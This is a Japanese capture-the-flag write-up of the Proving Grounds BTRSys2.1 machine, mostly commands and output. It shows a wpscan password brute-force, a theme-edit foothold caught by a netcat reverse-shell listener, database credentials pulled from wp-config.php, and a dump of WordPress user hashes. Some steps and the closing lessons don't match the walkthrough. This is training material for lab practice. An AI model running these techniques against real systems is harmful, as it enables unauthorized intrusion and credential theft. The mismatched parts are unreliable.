Post

Proving Grounds - BTRSys2.1 (Linux)

Proving Grounds BTRSys2.1 Linux マシン解説。偵察・初期アクセス・権限昇格を解説。

Proving Grounds - BTRSys2.1 (Linux)

概要

項目 内容
OS Linux
難易度 記録なし
攻撃対象 Webアプリケーションおよび公開されているネットワークサービス
主な侵入経路 Webを経由した初期アクセス
権限昇格経路 ローカル列挙 → 設定ミスの悪用 → root

認証情報

認証情報なし。

偵察


💡 なぜ有効か このフェーズでは到達可能な攻撃対象領域をマッピングし、悪用が最も成功しやすい箇所を特定します。正確なサービスおよびコンテンツ探索により、闇雲なテストを減らし、標的を絞った後続アクションに繋げます。

初期足がかり


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
ftp $ip
1
2
3
4
5
6
7
8
9
✅[0:33][CPU:40][MEM:59][TUN0:192.168.45.193][/home/n0z0]
🐉 > ftp $ip                                                                                                                                                                    
Connected to 192.168.245.50.
220 (vsFTPd 3.0.3)
Name (192.168.245.50:n0z0):     
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
wpscan --url http://192.168.245.50/wordpress/ --disable-tls-checks --enumerate u,t,p
1
2
3
4
5
6
❌[0:37][CPU:16][MEM:58][TUN0:192.168.45.193][/home/n0z0]
🐉 > wpscan --url http://192.168.245.50/wordpress/ --disable-tls-checks --enumerate u,t,p


[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
wpscan --url http://192.168.245.50/wordpress/ -U Admin,btrisk -P /usr/share/wordlists/rockyou.txt -t 50
1
2
3
4
5
6
7
8
9
10
✅[0:31][CPU:10][MEM:59][TUN0:192.168.45.193][/home/n0z0]
🐉 > wpscan --url http://192.168.245.50/wordpress/ -U Admin,btrisk -P /usr/share/wordlists/rockyou.txt -t 50

[+] Performing password attack on Xmlrpc Multicall against 2 user/s
[SUCCESS] - Admin / admin                                                                                                                                                                                         
^Cogress Time: 00:05:27 <=                                                                                                                                                   > (308 / 28728)  1.07%  ETA: 08:24:08
[!] Valid Combinations Found:
 | Username: Admin, Password: admin


Screenshot from the btrsys2-1 engagement キャプション:このフェーズで取得したスクリーンショット

http://192.168.245.50/wordpress/wp-content/themes/twentyfourteen/404.php 攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
3
4
5
6
7
8
9
10
11
12
[+] twentyfourteen
 | Location: http://192.168.245.50/wordpress/wp-content/themes/twentyfourteen/
 | Latest Version: 4.4
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Style URL: http://192.168.245.50/wordpress/wp-content/themes/twentyfourteen/style.css
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Known Locations (Aggressive Detection)
 |  - http://192.168.245.50/wordpress/wp-content/themes/twentyfourteen/, status: 500
 |
 | The version could not be determined.

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
rlwrap -cAri nc -lvnp 443
1
2
3
4
5
6
7
8
9
10
11
❌[1:14][CPU:9][MEM:60][TUN0:192.168.45.193][...me/n0z0/work/pg/BTRSys2.1]
🐉 > rlwrap -cAri nc -lvnp 443 
listening on [any] 443 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.245.50] 49054
Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 08:17:51 up 10 min,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (865): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/$ 

local.txt を取得しました。 攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
cat local.txt
ip a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@ubuntu:/home/btrisk$ cat local.txt
0b96250d184b466c17ffd968a3a5dc13
www-data@ubuntu:/home/btrisk$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:ab:56:45 brd ff:ff:ff:ff:ff:ff
    inet 192.168.245.50/24 brd 192.168.245.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feab:5645/64 scope link 
       valid_lft forever preferred_lft forever
www-data@ubuntu:/home/btrisk$ 

💡 なぜ有効か 初期足がかりのステップでは、発見した脆弱性を連鎖させてターゲットを実行制御下に置きます。成功した足がかり技法は、コマンド実行またはインタラクティブシェルの取得によって検証されます。

権限昇格


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
3
4
5
6
7
8
9
10
11
12
╔══════════╣ Unexpected in root
/vmlinuz
/.bash_history
/initrd.img

╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-rw-r-- 1 btrisk 1000 3441 Apr 24  2017 /var/www/html/wordpress/wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
define('DB_HOST', 'localhost');

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
SELECT * FROM wp_users;
1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM wp_users;
SELECT * FROM wp_users;
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                        | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | root       | a318e4507e5a74604aafb45e4741edd3 | btrisk        | mdemir@btrisk.com |          | 2017-04-24 17:37:04 |                     |           0 | btrisk       |
|  2 | admin      | 21232f297a57a5a743894a0e4a801fc3 | admin         | ikaya@btrisk.com  |          | 2017-04-24 17:37:04 |                     |           4 | admin        |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.00 sec)


Screenshot from the btrsys2-1 engagement キャプション:このフェーズで取得したスクリーンショット

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
ssh root@$ip
ls -la
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
✅[1:37][CPU:6][MEM:59][TUN0:192.168.45.193][...me/n0z0/work/pg/BTRSys2.1]
🐉 > ssh root@$ip                                                    
The authenticity of host '192.168.245.50 (192.168.245.50)' can't be established.
ED25519 key fingerprint is SHA256:2B+vmvr1JvWK29/fRQhBhZ8ed+hGe70OmglE4zPPh+0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.245.50' (ED25519) to the list of known hosts.
root@192.168.245.50's password: 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Jul  9 07:32:53 2020 from 192.168.118.8
root@ubuntu:~# ls -la
total 28
drwx------  4 root root 4096 Dec 30 08:09 .
drwxr-xr-x 22 root root 4096 Feb 20  2020 ..
-rw-------  1 root root    0 Jul  2  2020 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Apr 28  2017 .cache
-rw-------  1 root root    0 Mar  6  2020 .mysql_history
drwxr-xr-x  2 root root 4096 Mar  6  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile

proof.txt も取得しました。 攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
cat proof.txt
1
2
3
4
5
-rw-r--r--  1 root root   33 Dec 30 08:09 proof.txt
root@ubuntu:~# cat proof.txt 
97409ce60021c8bdfc69a6015a6b76c0
root@ubuntu:~# 

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
su -
1
2
3
4
5
6
www-data@ubuntu:/tmp$ su -
su -
Password: roottoor

root@ubuntu:~# 

💡 なぜ有効か 権限昇格は、ローカルの設定ミス・安全でないパーミッション・信頼された実行パスを利用します。これらの信頼境界を列挙して悪用することが、rootレベルのアクセスへの最短経路です。

まとめ・学んだこと

  • 本番同等の環境でフレームワークのデバッグモードとエラー露出を検証する。
  • 特権ユーザーやスケジューラーが実行するスクリプト・バイナリのファイルパーミッションを制限する。
  • ワイルドカード展開やスクリプト化可能な特権ツールを避けるため sudo ポリシーを強化する。
  • 露出した認証情報と環境ファイルを重要機密として扱う。

参考文献

  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.